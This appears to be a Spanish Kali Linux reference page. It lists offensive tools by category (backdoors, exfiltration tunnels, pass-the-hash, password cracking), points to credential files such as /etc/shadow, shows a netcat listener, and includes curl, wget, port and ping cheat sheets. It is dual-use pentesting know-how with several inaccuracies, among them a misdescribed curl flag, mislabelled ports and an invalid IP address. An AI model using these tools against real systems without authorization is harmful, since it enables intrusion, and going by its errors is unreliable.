top of page
banner_kali_red.png

KALI  LINUX

TOOLS

undercons.png

Ⓜ️ ENLACES INTERNOS

🕵️‍♂️   Herramientas OSINT

👨‍💻  Herramientas Pentesting

💊  Google Dorks

🤖  Inteligencia Artificial

🐲  Instalar Kali Linux

​🛡️  eJPTv2 Exam Preparation

🟧  Comandos Linux

🅱️  Bash Scripting

🅱️  Binarios SUID

🟩  Comandos Python

🟨  SQL Injection

🟦  Comandos Powershell

🅱️  BurpSuite

⚡  ZAP

🐳  Docker

🔌  Redes

🔌  Puertos de Red

🖥️  Linux Terminal

📡 ESCANEO

🔌  Puertos

🏓  ping

🔌  ifconfig

🖥️  Ver IPs desde terminal

👁️  nmap

👁️  nmap scripts en Lua

🔌  arp-scan (lan)

🔌  netdiscover (lan)

🔥  masscan (lan)

🌐  WhatWeb (web info)

👩‍🏫  CTFR (subdomains)

📋   sublist3r (subdomains)

🖥️  ss (local ports/services)

⚙️  pspy (service enumeration)

🔌 CONEXIÓN

🕵️‍♂️ FORENSICS

🐺  Autopsy

🟩  Binwalk

🔨  Bulk-extractor

🔷  Foremost

🍪  Galleta

5️⃣  Hashdeep (MD5)

🌐 ENLACES EXTERNOS

📶 WIFI / BLUETOOTH

📡  Start/Stop WIFI

🦷  Start/Stop Bluetooth

🔑  Clave WIFI (lan)

🔴  Sparrow Wifi

⚡  Aircrack-ng

🔌  Chirpw

📡  Kismet

⏺️  Mfoc

🈲  Mfterm

💂  Reaver

📡  Wifite

👃 SNIFFING / SPOOFING

🦈  Wireshark (sniffing)

🩺  TCPDump (sniffing)

📢  Responder (active sniffing)

🔀  Driftnet

🕷️  Ettercap

📟  Macchanger

🚹  Mitmproxy

👹  Netsniff-ng

⚔️ FUERZA BRUTA

🔑  Usuarios/Contraseñas Comunes

🔑  Cupp (wordlist generator)

📑  Wordlists (Kali Linux)

📁  Archivos y Rutas Sensibles (Linux)

🌐  DirBuster (subdomains)

🌐  GoBuster (subdomains)

🐙  Wfuzz (subdomains)

🍥  Ffuf (subdomains)

🐲  Hydra (session break)

🎩  John the Ripper (hash decryption)

⭕  hping3 (DDoS)

👨‍💻  Cewl (url word listing)

⚡  Crunch (password generator)

​🛑  SQLmap (SQL injection)

🐈  Hashcat (passwords)

🧞‍♀️  Medusa (passwords)

🦂  Ncrack (passwords)

✳️  Ophcrack (passwords)

LEYENDA DE COLORES

 BLANCO                                           Archivos / Encabezados / Palabras destacadas / Output resultante de un comando
 [PARÉNTESIS]                                [Parámetros a introducir en una línea de comandos]
 GRIS                                                  Introducciones / Aclaraciones / Texto explicativo
VERDE                                              Sintaxis / Comandos / Código genérico
VERDE PÁLIDO                              Prompts / Parámetros destacados
AZUL                                                 Rutas / Directorios / "Windows"
▉ AZUL CLARO                                   URLs / IPs
ROSA                                                 Destacar parámetros en una línea de comandos
ROJO                                                  Comandos de privilegios / stderr / Atención
NARANJA                                         Valor variable / Usuarios / Grupos / Contraseñas / TCP / "Linux"
AMARILLO                                       Puertos / UDP / JavaScript / php

sistema archivos

🗃️ SISTEMA DE ARCHIVOS

FHS:
El Filesystem Hierarchy Standard (FHS) es un estándar que describe las convenciones utilizadas para la estructura de directorios en sistemas similares a Unix, incluyendo Linux. Este estándar ha sido adoptado y popularizado por su uso en distribuciones de Linux, aunque también es utilizado por otros sistemas operativos basados en Unix. El FHS es mantenido por la Linux Foundation, y la última versión es la 3.0, lanzada el 3 de junio de 2015.

Desde su inicio como una iniciativa de Linux, el FHS ha sido adoptado por otros sistemas operativos derivados de Unix, aunque algunos de estos sistemas operativos han optado por desarrollar sus propias estructuras de directorios, que pueden variar significativamente. Por ejemplo,
MacOS X utiliza nombres como /Applications, /Library y /Users, además de la jerarquía de directorios tradicional de Unix.

En sistemas Unix y similares como BSD y GNU/Linux, todos los archivos y directorios están contenidos bajo el directorio raíz (
/), independientemente de si se encuentran en diferentes dispositivos físicos. Aunque la mayoría de estos directorios existen en todos los sistemas operativos tipo Unix y se utilizan de manera similar, las descripciones proporcionadas por el FHS son específicas para este estándar y no son obligatorias en otras plataformas GNU/Linux

 

sistema directorios

🗃️ SISTEMA DE DIRECTORIOS (FHS) EN KALI LINUX

Directorios_Kali.png

Mostrar jerarquía del sistema en la terminal:
man hier

Guardar jerarquía del sistema en archivo:

man hier > [archivo.txt]

🔧 HERRAMIENTAS DE KALI LINUX POR CATEGORÍAS (2024)

01 - Recopilación de Información:


DNS Analysis - dnsenum
DNS Analysis - dnsmap
DNS Analysis - dnsrecon
DNS Analysis - fierce
IDS/IPS Identification - lbd
IDS/IPS Identification - wafw00f
Live Host Identification - arping
Live Host Identification - fping
Live Host Identification - hping3
Live Host Identification - masscan
Live Host Identification - netcat
Live Host Identification - thcping6
Live Host Identification - unicornscan
Network & Port Scanners - masscan
Network & Port Scanners - nmap
Network & Port Scanners - unicornscan
OSINT Analysis -
maltego (installer)

OSINT Analysis - spiderfoot

OSINT Analysis - spiderfoot-cli

OSINT Analysis - theharvester

Route Analysis - netdiscover

Route Analysis - netmask

SMB Analysis - enum4linux

SMB Analysis - nbtscan

SMB Analysis - smbmap

SMTP Analysis - smtp-user-enum

SMTP Analysis - enswaks

SNMP Analysis - onesixtyone

SNMP Analysis - snmp-check

SSL Analysis - ssldump

SSL Analysis - sslh

SSL Analysis - sslscan

SSL Analysis - sslyze

amass

dmitry

ike-scan

legion (root)

recon-ng

09 - Sniffing & Spoofing:

Network Sniffers - dnschef
Network Sniffers - dnsiff
Network Sniffers - netsniff-ng
Spoofing & MITH - dnschef
Spoofing & MITH - rebind
Spoofing & MITH - sslsplit
Spoofing & MITH - tcpreplay
ettercap-graphical
macchanger
minicom
mitmproxy
responder
scapy
tcpdump
wireshark

10 - Post-Explotación:

OS Backdoors - dbd
OS Backdoors - powersploit
OS Backdoors - sbd
Tunneling & Exfiltration - dbd
Tunneling & Exfiltration - dns2tcpc
Tunneling & Exfiltration - dns2tcpd
Tunneling & Exfiltration - exe2hex
Tunneling & Exfiltration - iodine
Tunneling & Exfiltration - miredo
Tunneling & Exfiltration - proxychains4
Tunneling & Exfiltration - proxytunnel
Tunneling & Exfiltration - ptunnel
Tunneling & Exfiltration - pwat
Tunneling & Exfiltration - sslh
Tunneling & Exfiltration - stunnel4
Tunneling & Exfiltration - udptunnel
Web Backdoors - laudanum
Web Backdoors - weevely
evil-winrm
impacket
mimikatz
netcat
powershell empire
powersploit
starkiller

02 - Análisis de Vulnerabilidades:

Fuzzing Tools - spike-generic_chunked
Fuzzing Tools - spike-generic_listen_tcp
Fuzzing Tools - spike-generic_send_tcp
Fuzzing Tools - spike-generic_send_udp
VoIP Tools - voiphopper
legion (roo)
nikito
nmap
unix-privesc-chech

04 - Evaluación de Base de Datos:

SQLite database browser
sqlmap

05 - Ataques de Contraseña:

Offline Attacks - chntpw
Offline Attacks - hash-identifier
Offline Attacks - hashcat
Offline Attacks - hashid
Offline Attacks - john
Offline Attacks - ophcrack-cli
Offline Attacks - samdump2
Online Attacks - hydra
Online Attacks - hydra-graphical
Online Attacks - medusa
Online Attacks - ncrack
Online Attacks - onesixtyone
Online Attacks - patator
Online Attacks - thc-pptp-bruter
Passing the Hash Tools - crackmapexec
Passing the Hash Tools - evil-winrm
Passing the Hash Tools - impacket
Passing the Hash Tools - pth-curl
Passing the Hash Tools - pth-net
Passing the Hash Tools - pth-rpcclient
Passing the Hash Tools - pth-smbclient
Passing the Hash Tools -
pth-smbget
Passing the Hash Tools - pth-sqsh
Passing the Hash Tools - pth-winexe
Passing the Hash Tools - pth-wmic
Passing the Hash Tools - pth-wmis
Passing the Hash Tools - pth-xfreerdp
Passing the Hash Tools - smbmap
Password Profiling & Wordlists - cewl
Password Profiling & Wordlists - crunch
Password Profiling & Wordlists - rsmangler
Password Profiling & Wordlists - wordlists

11 - Forense:

Forensic Carving - magicrescue
Forensic Carving - scalpel
Forensic Carving - scrounge-ntfs
Forensic Imaging- guymanager (root)
PDF Forensics - pdf-parser
PDF Forensics - pdfid
Sleuth Kit Suite - autopsy (root)
Sleuth Kit Suite - blkcalc
Sleuth Kit Suite - blkcat
Sleuth Kit Suite - blkls
Sleuth Kit Suite - blkstat
Sleuth Kit Suite - ffind
Sleuth Kit Suite - fls
Sleuth Kit Suite -
fsstat

Sleuth Kit Suite - hfind

Sleuth Kit Suite - icat-sleuthkit

Sleuth Kit Suite - ifind

Sleuth Kit Suite - ils-sleuthkit

Sleuth Kit Suite - img_cat

Sleuth Kit Suite - img_stat

Sleuth Kit Suite - istat

Sleuth Kit Suite - jcat

Sleuth Kit Suite - jls

Sleuth Kit Suite - mactime-sleuthkit

Sleuth Kit Suite - mmcat

Sleuth Kit Suite - mmls

Sleuth Kit Suite - mmstat

Sleuth Kit Suite - sigfind

Sleuth Kit Suite - sorter

Sleuth Kit Suite - srch_strings

Sleuth Kit Suite - tsk_comparedir

Sleuth Kit Suite - tsk_gettimes

Sleuth Kit Suite - tsk_loadd

Sleuth Kit Suite - tsk_recover

binwalk

bulk_extractor

hashdeep

03 - Análisis de Aplicaciones Web:

CMS & Framework ID - wpscan
Web Application Proxies - burpsuite
Web Crawlers & Dir. BruFor - cutycapt
Web Crawlers & Dir. BruFor - dirb
Web Crawlers & Dir. BruFor - dirbuster
Web Crawlers & Dir. BruFor - ffuf
Web Crawlers & Dir. BruFor - gobuster
Web Crawlers & Dir. BruFor - wfuzz
Web Vulnerability Scanners
 - cadaver
Web Vulnerability Scanners - davtest
Web Vulnerability Scanners - nikito
Web Vulnerability Scanners - skipfish
Web Vulnerability Scanners
 - wapiti
Web Vulnerability Scanners - whatweb
Web Vulnerability Scanners - wpscan

burpsuite
commix
sqlmap
webshells

06 - Ataques a Redes Inalámbricas:

802.11 Wireless - bully
802.11 Wireless - fern wifi cracker (root)
Bluetooth -
spooftooph
aircrack-ng
kismet
pixiewps
reaver
wifite

07 - Ingeniería Inversa:

clang
clang++
NASM shell
radare2

08 - Explotación:

crackmapexec
metasploit framework
msf payload creator
searchsploit
social engineering toolkit (root)
sqlmap

 

12 - Elaboración de Informes:

CherryTree
cutycapt
faraday start
maltego (installer)
pipal
recordmydesktop

 

13 - Ingeniería Social:

maltego (installer)
msf payload creator

social engineering toolkit (root)
 

kali tools
rutas interes

🎯 RUTAS DE INTERÉS

📂 Directorios principales (Kali Linux):
                        (directorio actual)
~                         (directorio home del usuario actual)
                        (raíz del sistema o root)

📂 Archivos importantes del sistema (Kali Linux):
/etc/passwd                          (usuarios y grupos a los que pertenecen)
/etc/shadow                          (contraseñas de usuarios)
/etc/cron.d                             (tareas cron)
/etc/default/useradd         (parámetros por defecto de usuarios)
/etc/group                              (grupos de usuarios)
/etc/gshadow                        (contraseñas de los grupos)

⚠️ Directorios con permisos 1777 (Kali Linux):
/var/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-haveged.service-NCCnDI/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-systemd-logind.service-S2AQ87/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-colord.service-t3rBkK/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-ModemManager.service-5N0X8d/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-upower.service-nWr0qe/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-polkit.service-7oFGKB/tmp
/run/lock
/run/screen
/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-ModemManager.service-hwi4TC/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-colord.service-arI5Me/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-systemd-logind.service-dOKKaL/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-haveged.service-8XPD6b/tmp
/tmp/.font-unix
/tmp/.XIM-unix
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-polkit.service-cCb2On/tmp
/tmp/.X11-unix
/tmp/.ICE-unix
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-upower.service-gu3tpf/tmp
/dev/shm
/dev/mqueue

 
⚠️ Directorios con permisos 755 (Kali Linux):
/var/lib/AccountsService
/var/lib/AccountsService/icons
/var/lib/inetsim/http/postdata
/var/lib/inetsim/ftp/upload
/var/lib/inetsim/smtp
/var/lib/inetsim/tftp/upload


📋 WORDLISTS (Kali Linux):
/usr/lib/python3/dist-packages/theHarvester/wordlists                
(OSINT tool)
/usr/share/wordlists                                                                                    (generic)
/usr/share/amass/wordlists                                                                      (subdomains)
/usr/share/dirb/wordlists                                                                           (dirb. common, spanish, catala, euskera...)                                 
/usr/share/dirbuster/wordlists                                                                 (dirbuster. directory lists)
/usr/share/doc/wordlists                                                                           (changelog y copyright)
/usr/share/fern-wifi-cracker/extras/wordlists                                    (wifi)
/usr/share/legion/wordlists                                                                       (db2, ft, gvit, mssql, oracle, root, ssh, telnet, tomcat, windows...)
/usr/share/metasploit-framework/data/wordlists                            (adobe, burnett, db2, http, ipmi, joomla, unix, vxworks...)
 

curl

 🌐​ CURL

El comando curl en Linux es una herramienta de línea de comandos que se utiliza para transferir datos hacia o desde un servidor con URL, utilizando varios protocolos soportados (HTTP, FTP, POP3, IMAP, SMTP, SCP, SFTP, TFTP, TELNET, LDAP, etc.)

 
Instalación:
sudo apt-get install curl

Ver por consola código HTML de una web:
curl https://www.ejemplo.com

Descargar código HTML de una web (variación más funcional):
curl -s -X GET https://www.ejemplo.com

Obtener código HTML de página web (en modo silent):
curl -s -X GET https://www.ejemplo.com

Descargar código HTML de una web y guardarlo en un archivo especificando el nombre:
curl https://www.ejemplo.com > pagina.html

Descargar archivo de una web y guardarlo en un archivo especificando el nombre:
curl https://www.ejemplo.com/wordlist.txt -o list.txt

Para subir un archivo a una web:
curl -F "nombre_campo=@home/archivo" https://
www.ejemplo.com

Comprobar estado de URL. Si la URL existe, devolverá un código "200" exitoso:
curl -s -o /dev/null -w "%{http_code}" https://www.ejemplo.com

 

⚠️ Cuando "git clone" no funciona con GitHub (modificar la parte naranja para que corresponda con el repositorio):

curl https://codeload.github.com/vulhub/vulhub/tar.gz/master | tar -xz --strip=2 vulhub-master/kibana/CVE-2018-17246

PARÁMETROS:
-s        (Modo Silent. Oculta parte del output, como el progreso de la descarga o los mensajes de error)
-X       (Usado para agregar un encabezado "Authorization" con un token)
-O       (Descargar el contenido de una URL y guardarlo en el directorio de trabajo actual con el mismo nombre de archivo que el remoto)   
             
Ejemplo: curl -O http://testdomain.com/testfile.tar.gz

-o        (Similar a -O, pero permite especificar un nombre de archivo o ubicación diferente para guardar el contenido descargado)
             
Ejemplo: curl -o newtestfile.tar.gz http://testdomain.com/testfile.tar.gz

-C -     (Para reanudar una descarga interrumpida)
              
Ejemplo: curl -C - -O http://testdomain.com/testfile.tar.gz

-x        (Cuando hay un servidor proxy. Debes proporcionar la dirección del servidor proxy y el puerto)
              Ejemplo: curl -x sampleproxy.com:8090 -O http://testdomain.com/testfile.tar.gz
-I         (Para obtener la información del encabezado HTTP de una página web. Estado, servidor, contenido...etc)
              
Ejemplo: curl -I www.testdomain.com
--cookie-jar (Para guardar las cookies de una URL en un archivo) 
               Ejemplo: curl --cookie-jar Mycookies.txt https://www.samplewebsite.com/index.html
-u        (Para proporcionar un nombre de usuario y una contraseña para conexiones FTP) 
              Ejemplo: curl -u username:password -O ftp://sampleftpserver/testfile.tar.gz
--limit-rate (Para limitar la velocidad de descarga)
             
Ejemplo: curl --limit-rate 100K http://testdomain.com/samplefile.tar.gz

-v        (Para proporcionar información detallada sobre la solicitud y la respuesta realizada)

               Ejemplo: curl -v https://google.com

-sS      (Para ocultar la información de progreso en el outpur de curl. TOTAL, RECEIVED, XFERD, AVERAGE...etc)

               Ejemplo: curl -sS https://google.com

wget

 🌐​ WGET

El comando wget es una herramienta de línea de comandos en sistemas Unix y Linux que se utiliza para descargar archivos de la web. Es muy útil para descargar archivos automáticamente desde la línea de comandos sin necesidad de utilizar un navegador web.
 
Instalación:
sudo apt-get install wget

SINTAXIS:
wget [flags] [URL]

PARÁMETROS:
-r                                     (Descarga todo el sitio web recursivamente)  
-c                                    
(Hace que continúe una descarga que se había interrumpido)
–continue                    (Hace que continúe una descarga que se había interrumpido)
-N                                   (Descarga el archivo únicamente si es más nuevo que otro archivo que tenga el mismo nombre en tu ordenador)
-t []                            (Define el número de veces que wget debe intentar descargar un archivo en tu sistema operativo de Linux)
-w [secs]                       (Define cuántos segundos deben transcurrir entre dos descargas consecutivas)
-m                                  (Hace que wget descargue de forma recursiva, es decir, descargará todo el sitio web)
-p                                   (Descarga todos los archivos necesarios para visualizar correctamente una página web, incluyendo imágenes y
                                        archivos CSS)

-np                                (No sigue enlaces a directorios superiores al directorio actual)
-k                                   (Convierte los enlaces en los archivos descargados para que funcionen localmente, es decir, para que se refieran a los
                                       archivos descargados y no a los enlaces originales)

--no-clobber                (Evita sobrescribir archivos existentes)
-erobots=off              (Ignora el archivo robots.txt, lo que permite descargar contenido que normalmente estaría bloqueado)
-U mozilla                   (Finge ser un navegador Mozilla para evitar ser bloqueado por algunos servidores)
--limit-rate=50K       (Limita la velocidad de descarga a 50K para evitar sobrecargar la conexión)
--wait=2                      (Espera 2 segundos entre las solicitudes para evitar ser bloqueado por el servidor)
--html-extension      (Guarda los archivos HTML con la extensión .html)               
--page-requisites   
 
(Descarga todos los elementos necesarios para mostrar la página correctamente. Imágenes, CSS, JavaScript, etc.)   
--convert-links            
(Convierte los enlaces para que funcionen localmente, offline) 
--domains [url]            (Limita la descarga a un dominio específico)
--no-parent                  (No asciende a directorios superiores al dominio especificado)

Descargar archivo especificando nombre:
wget -O lista.txt https://www.example.com/wordlist.txt

Descargar todos los archivos de una web, de forma recursiva:
wget -r https://www.example.com

Descargar página principal como "index.html":
wget https://www.example.com

Descargar página completa, de forma recursiva:
wget -r https://www.example.com

Descargar archivos individuales:
wget http://example.com/path/to/file.txt
 
Descargar múltiples archivos a partir de una lista de URLs:
wget -i filelist.txt  

Descargar archivos protegido:
wget --user=username --password=password http://example.com/path/to/protected/file.txt      (Descargar archivo protegido)

Descargar una web entera y sus subdominios:
wget -m -p -np -k -erobots=off -U mozilla --limit-rate=50K --wait=2 --html-extension http://example.com 

 🌐​ GIT

Diferentes comandos para interactuar desde la terminal con servidores GitHub
 
Copiar contenido de repositorio GitHub (esto incluye todos los archivos, la historia de commits, las ramas y las etiquetas):
git clone [url]
 
Ejemplo de descarga de repositorio:
git clone https://github.com/usuario/nombre_del_repositorio.git

Ejemplo descarga de repositorio indicando ruta:
git clone https://github.com/usuario/nombre_del_repositorio.git /home/usuario/github/

Descarga de rama específica del repositorio:
git clone -b [nombre_de_la_rama] [url]

_____________________________________________________________________________________________

Gestionar repositorio GitHub:
git init                                                                               (Crear proyecto en GitHub)
git add . git commit -m "first commit"                  (Guardar cambios al repositorio)
git status                                                                         (Ver estado actual del repositorio)
git branch [rama]                                                          (Crear nueva rama)
git branch -a                                                                   (Listar todas las ramas remotas o locales)
git branch -d [rama]                                                     (Borrar rama)
gitmerge [rama]                                                            (Combinar cambios a la rama actual)
git checkout [rama]                                                      (Comprobar una rama existente)
git checkout -b [rama]                                                 (Comprobar y crear una nueva rama)
git tag [etiqueta]                                                           (Crear etiqueta)
git tag -d [etiqueta]                                                      (Borrar etiqueta)
git push --tags                                                               (Guardar etiquetas)
git pull [rama] [URL/nombre]                                   (Obtener la última versión del repositorio)
git remote add origin [URL]                                       (Agregar repositorio remoto)
git config --global user.name [usuario]                 (Definir nombre de usuario para todos las instantáneas o commits)
git config --global user.email [email]                     (Definir email de usuario para todos las instantáneas o commits)
git help -g                                                                        (Guía de ayuda)
git revert HEAD^                                                            (Deshacer cambios de instantánea previa)
git push [URL/nombre] [rama]                                 (Guardar instantáneas locales en repositorio remoto)
git stash -u                                                                     (Guardar trabajo actual con archivos sin-seguimiento)
git rm -f [archivo]                                                          (Borrado forzado de archivo)
git rm -r -f [directorio]                                                 (Borrado forzado de un directorio entero)
git push origin :[rama]                                                 (Borrar rama remota)
 

git clone
dwnload all images

🖼️ DESCARGAR TODAS LAS IMÁGENES

Descargar todas las imágenes de una página web con wget:
wget -r -l1 --no-parent -nH -nd -P/tmp -A" -gif, .jpg, .jpeg, .bmp" [url]
 

📄 LOCAL DNS  (/ETC/HOSTS)

El archivo /etc/hosts en Linux es un archivo de texto plano utilizado para asociar direcciones IP con nombres de dominio totalmente calificados (FQDN). Este archivo es particularmente útil cuando un servidor DNS no está disponible y un usuario necesita acceder a un dominio desde su navegador. En ausencia de un servidor DNS accesible, Linux recurre al archivo /etc/hosts para resolver el nombre de dominio.

Abrir y editar el archivo /etc/hosts:
sudo mousepad /etc/hosts

127.0.0.1    localhost
127.0.1.1    kaliSF01
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.100.100.100 example1.com
10.100.100.200 example2.com


También es posible añadir una línea de texto al final del archivo /etc/hosts con la siguiente línea:
echo "10.100.100.300 example3.com" | sudo tee -a /etc/hosts

Agregar esta entrada en el archivo /etc/hosts permitirá que el navegador resuelva el nombre de host example3.com a la dirección IP correspondiente y, por lo tanto, haga que el navegador incluya el encabezado HTTP Host: example3.com en cada solicitud HTTP que el navegador envíe a esta dirección IP, lo cual hará que el servidor responda con la página web para example3.com.
 

/etc/hosts

🚦  CÓDIGOS DE ESTADO

1** CÓDIGOS INFORMATIVOS:
100                 (Continúa)
101                 (Cambia de protocolos)
102                 (Procesando)
103                 (¿?)
122                 (Solicitud URI demasiado larga)

2** CÓDIGOS DE ÉXITO:
200                 (OK)
201                 (Creado)
202                 (Aceptado)
203                 (Información no-autorizativa)
204                 (Sin contenido)
205                 (Resetear contenido)
206                 (Contenido parcial)
207                 (Multi-estado)
208                 (Previamente reportado)

218                 (Está correcto)

226                 (IM en uso)

3** CÓDIGOS DE REDIRECCIÓN:
300                 (Múltiples opciones)
301                 (Movido permanentemente)
302                 (Encontrado)
303                 (Ver otro)
304                 (No modificado)
305                 (Utiliza proxy)
306                 (Cambia proxy)

307                 (Redirección temporal)

308                 (Redirección permanente)

4** CÓDIGOS DE ERROR DE CLIENTE:
400                 (Solicitud errónea)
401                 (No autorizado)
402                 (Pago requerido)
403                 (Prohibido)
404                 (No encontrado)
405                 (Método no permitido)
406                 (Inaceptable)
407                 (Autenticación de proxy requerida)
408                 (Tiempo de solicitud agotado)
409                 (Conflicto)
410                 (Perdido)
411                 (Distancia requerida)
412                 (Precondición fallida)

413                 (Payload demasiado larga)

414                 (Solicitud URI demasiado larga)

415                 (Tipo de medio no soportado)

416                 (Rango de solicitud insatisfecho)

417                 (Expectación fallida)

418                 (Soy una tetera)

419                 (Tiempo de autenticación agotado)

420                 (¿?)

421                 (Solicitud mal dirigida)

422                 (Entidad no procesable)

423                 (Bloqueado)

424                 (Dependencia fallida)

425                 (Demasiado pronto)

426                 (Requiere actualización)

428                 (Requiere precondición)

429                 (Demasiadas solicitudes)

431                 (Campo "header" de solicitud demasiado largo)

444                 (Conexión cerrada sin respuesta)

449                 (Reintentar con)

451                 (No disponible por razones legales)

460                 (¿?)

463                 (¿?)

464                 (¿?)

494                 (Solicitud de "header" demasiado larga)

495                 (Error de Certificado SSL)

496                 (Certificado SSL requerido)

497                 (Solicitud HTTP enviada a puerto HTTPS)

499                 (El cliente cerró la solicitud)



5** CÓDIGOS DE ERROR DE SERVIDOR:
500                 (Error interno del servidor)
501                 (No implementado)
502                 (Mal "gateway")
503                 (Servicio no disponible)
504                 ("Gateway" tardó demasiado)
505                 (Versión HTTP n osoportada)
506                 (Variante tambien negocia)
507                 (Almacenamiento insuficiente)
508                 (Loop o ciclo detectado)
510                 (No extendido)
511                 (Se requiere autenticación de red)

520                 (Servidor web devuelve un error desconocido)

521                 (Servidor web caído)

522                 (Tiempo de conexión excedido)

523                 (Origen inalcanzable)

524                 (Ocurrió un tiempo de espera excesivo)

525                 (El handshake SSL falló)

526                 (Certificado SSL inválido)

527                 (Railgun error)

561                 (No autorizado)

598                 (Lectura de red con error de tiempo excedido)

599                 (Conexión de red con error de tiempo excedido)

codigos estado
openSSL

☑️ OPENSSL

Para establecer una Conexión SSL/TLS con OpenSSL a un servidor HTTPS (puerto 443)se puede utilizar el comando openssl s_client y realizar pruebas de conexión. De esta forma se abrirá una conexión SSL/TLS al servidor mostrando detalles sobre el certificado y la conexión. OpenSSL es una herramienta versátil que permite no solo manejar criptografía y certificados, sino también establecer conexiones seguras a servidores para pruebas y diagnósticos. La opción s_client es particularmente útil para verificar configuraciones de servidores y la validez de certificados SSL/TLS.

SINTAXIS:
openssl s_client -connect [url]:443

EJEMPLO:
openssl s_client -connect www.google.com:443 -servername www.google.com -showcerts

PARÁMETROS:
--connect [url_host]:[puerto]               (Especifica el host y puerto al que deseas conectarte)
--servername [hostname]                     (Utilizado para establecer el nombre del servidor. SNI - Server Name Indication)
--showcerts                                               (Muestra todos los certificados en la cadena del servidor)
-CAfile [archivo]                                        (Especifica un archivo de certificados CA para validar el certificado del servidor)

🔒 SSLSCAN

SSLscan es una herramienta de línea de comandos utilizada para probar los servidores SSL/TLS. Es especialmente útil para evaluar la seguridad de las configuraciones SSL/TLS de un servidor, mostrando detalles como los certificados, los protocolos soportados y las vulnerabilidades potenciales.

SINTAXIS:

sslscan [url]

EJEMPLO:
sslscan --no-failed www.google.com

PARÁMETROS:
--no-failed
                                           (Incluye en el informe los intentos de conexión fallidos)
--show-certificate                             (Muestra los detalles del certificado SSL/TLS)
--ss12                                                    (Forzar el uso de este protocolo durante el escaneo)
--ss13                                                    (Forzar el uso de este protocolo durante el escaneo)
--tls1                                                     (Forzar el uso de este protocolo durante el escaneo)
--tls1_1                                                (Forzar el uso de este protocolo durante el escaneo)
--tls1_2                                                (Forzar el uso de este protocolo durante el escaneo)
--tls1_3                                                (Forzar el uso de este protocolo durante el escaneo)
--verbose                                             (Aumentar verbosidad. Más detalles)
 

SSLscan
puertos

🔌 PUERTOS

Total puertos de red:
65.535

Ver conexiones activas:
netstat -nat

Escaneo básico de puertos abiertos (router de la red local) con NMAP:
nmap 192.168.1.1

Escaneo básico de puertos abiertos (equipo) con NMAP:
nmap localhost

Poner en escucha activa un puerto con Netcat:
nc -nlvp 22

Ver aplicaciones corriendo por un puerto del equipo:
lsof -i:22

🌐 
Puertos de Red
 

PUERTO

20, 21
22
23
25
53
67, 68
69
80
110
119
123
135, 139
139, 445
143
156
161, 162
179
194
389
443
500
636
989, 990
3478-3480
5223
6379
6380
7777
27015

PROTOCOLO/S

TCP
TCP
- UDP
TCP
TCP
TCP
- UDP
UDP
UDP

TCP
TCP
TCP

UDP
TCP
- UDP

TCP
- UDP

TCP - UDP
TCP

TCP - UDP
TCP - UDP
TCP
- UDP
UDP

TCP - UDP
TCP



TCP
TCP

SERVICIO

FTP
SSH
TELNET
SMTP
DNS
DHCP
TFTP
HTTP
POP3
NNTP
NTP
NETBIOS
SMB
IMAP4
SQL
SNMP
BGP

IRC
LDAP
SSL
IKE
TLS/SSL
FTP over SSL

UPnP

 

DESCRIPCIÓN

File Transfer Protocol
Secure Shell
TELetype NETwork (control remoto)
Simple Mail Transfer Protocol
Domain Name Server
trivial File Transfer Protocol
Hyper Text Transfer Protocol
Dynamic Host Configuration Protocol
Post Office Protocol
Network News Transfer Protocol
Network Time Protocol

Server Message Block (redes de empresa)
Internet Message Access P
rotocol
Structured Query Language
Simple Network Management
 Protocol
Border Gateway P
rotocol
Internet Relay Chat
Lightweight Directory Access 
Protocol
(HTTPS) with Secure Sockets Layer
Internet Key Exchange


Universal Plug and Play Protocol
Game Center service on Apple devices

Redis Service (NoSQL DataBase)
Redis Service (NoSQL DataBase)
Game data transmission, player connections, and server browsing
Steam gaming platform

🏓 PING

Ping es una utilidad de red utilizada para probar la conectividad entre dos dispositivos en una red. Funciona enviando paquetes de solicitud ICMP (Internet Control Message Protocol) a un dispositivo de destino y esperando una respuesta de tipo ICMP de vuelta. Es una herramienta esencial para diagnosticar problemas de red y para comprobar la accesibilidad de un host en una red.

Envío recursivo de paquetes:
ping [IP_hostname]
 
EJEMPLO::
ping google.com
​64 bytes from waw02s06-in-f14.1e100.net (216.58.209.78): icmp_seq=1 ttl=116 time=7.48 ms

Envío de paquetes con condicionantes:
ping -c 4 -i 1 [IP_hostname]

Comprobar estado de IP en la red local (online / offline):
ping -c 1 -q 192.168.1.1 >/dev/null 2>&1 && echo ONLINE || echo OFFLINE

PARÁMETROS BÁSICOS:
-c [                            (Especifica el número de envíos de paquetes)
-i [                             (Especifica el tiempo en segundos entre cada envío de paquetes)
-t [                            (Establece el valor de TTL de los paquetes enviados. Por ejemplo 64)

TTL (Time To Live):

SO PRINCIPALES                                    DEFAULT TTL

Linux / Unix (2001-2015)                                     255
Linux / Unix (2015-today)                                     64
MacOS                                                                         64
Windows                                                                   128
Solaris / AIX                                                              254

ping
if config

🔌 IFCONFIG


localhost = 127.0.0.1

lP Router = 192.168.1.1

El comando ifconfig se utiliza para configurar o ver la configuración de una interfaz de red. Aunque ampliamente utilizada, algunos sistemas modernos de Linux lo han reemplazado por el comando "ip link show".

EJEMPLO:

ifconfig


eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

       inet 192.168.1.102 netmask 255.255.255.0 broadcast 192.168.1.255

       inet6 fe80::a00:27ff:fe4e:66a1 prefixlen 64 scopeid 0x20<link>

       ether 08:00:27:4e:66:a1 txqueuelen 1000 (Ethernet)

       RX packets 786 bytes 65576 (65.5 KB)

       RX errors 0 dropped 0 overruns 0 frame 0

       TX packets 429 bytes 37759 (37.7 KB)

